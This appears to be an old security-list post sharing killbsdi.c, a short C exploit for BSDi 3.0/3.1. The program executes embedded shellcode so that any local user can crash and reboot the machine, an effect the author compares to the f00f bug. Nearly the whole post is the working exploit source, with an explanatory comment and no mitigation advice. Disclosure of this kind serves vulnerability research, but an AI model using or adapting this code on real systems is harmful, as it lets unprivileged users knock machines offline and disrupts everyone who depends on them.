this is something from a little while back. thought i might as well post it for some sort of use, generally a pretty minimal problem. has similar effects to the old f00f bug. except this reboots the machine, instead of having a freezing effect. original source: http://realhalo.org/killbsdi.c -- killbsdi.c start -- /* (BSDi)*[v3.0/3.1] system failure, by v9[v9 () realhalo org]. this will result in the ability of any user to fail the system, and reboot it. this bug is similar to that of the "f00f" bug. results are similar, except this reboots the machine instead of having a freezing effect. tested, and built for: BSDi v3.0/3.1. (arch/non-specific to BSDi) */ char bsdi_killcode[] = "\xb8\x8f\xf8\xff\x0b\xf7\xd0\x50\xb0\x0b" "\xb0\x9a\x50\x89\xe7\xff\xd7"; int main() { void (*execcode)()=(void *)bsdi_killcode; printf("[ (BSDi)*[v3.0/3.1]: system failu" "re, by: v9[v9 () realhalo org]. ]\n"); printf("*** no output should be seen afte" "r this point.\n"); execcode(); printf("*** system failure failed.\n"); exit(0); } -- killbsdi.c end -- Vade79 -- v9 () realhalo org -- realhalo.org.
